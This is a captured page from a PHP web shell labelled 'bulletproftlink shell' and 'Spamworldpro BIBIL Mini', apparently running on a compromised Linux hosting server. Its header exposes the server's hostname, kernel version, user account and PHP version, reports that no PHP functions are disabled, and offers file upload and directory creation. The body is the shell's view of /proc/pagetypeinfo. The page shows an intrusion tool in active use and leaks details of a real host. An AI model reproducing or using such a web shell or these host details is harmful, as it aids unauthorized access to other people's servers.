bulletproftlink shell
bulletproftlink shell


Server : Apache
System : Linux copper.netcy.com 2.6.32-754.27.1.el6.centos.plus.x86_64 #1 SMP Thu Jan 30 13:54:25 UTC 2020 x86_64
User : montcaro ( 581)
PHP Version : 7.4.28
Disable Function : NONE
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 


Create directory:
Current File : //proc/pagetypeinfo
Page block order: 9
Pages per block:  512

Free pages count per migrate type at order       0      1      2      3      4      5      6      7      8      9     10 
Node    0, zone      DMA, type    Unmovable      3      1      1      1      1      0      1      0      1      0      0 
Node    0, zone      DMA, type  Reclaimable      0      0      0      0      0      0      0      0      0      0      0 
Node    0, zone      DMA, type      Movable      0      0      0      0      0      0      0      0      0      0      3 
Node    0, zone      DMA, type      Reserve      0      0      0      0      0      0      0      0      0      1      0 
Node    0, zone      DMA, type      Isolate      0      0      0      0      0      0      0      0      0      0      0 
Node    0, zone    DMA32, type    Unmovable    315    242    184    122     57     10      3      0      0      0      0 
Node    0, zone    DMA32, type  Reclaimable   4445   2981   1835    732    246     25      0      0      0      0      0 
Node    0, zone    DMA32, type      Movable   8103   6160   4587   3093   1979    981    283     19      0      0      0 
Node    0, zone    DMA32, type      Reserve      0      0      0      0      0      0      0      0      0      0      0 
Node    0, zone    DMA32, type      Isolate      0      0      0      0      0      0      0      0      0      0      0 
Node    0, zone   Normal, type    Unmovable   1192   2107    332     33      9      1      1      0      0      0      0 
Node    0, zone   Normal, type  Reclaimable  11640   3302    955    220      1      0      0      0      0      0      0 
Node    0, zone   Normal, type      Movable   6771   6658   3833   1694    447     40      1      0      0      0      0 
Node    0, zone   Normal, type      Reserve      0      0      0      0      0      0      0      0      0      0      0 
Node    0, zone   Normal, type      Isolate      0      0      0      0      0      0      0      0      0      0      0 

Number of blocks type     Unmovable  Reclaimable      Movable      Reserve      Isolate 
Node 0, zone      DMA            1            0            6            1            0 
Node 0, zone    DMA32            9           75         1443            1            0 
Node 0, zone   Normal          142          113         5207            2            0 

Spamworldpro BIBIL Mini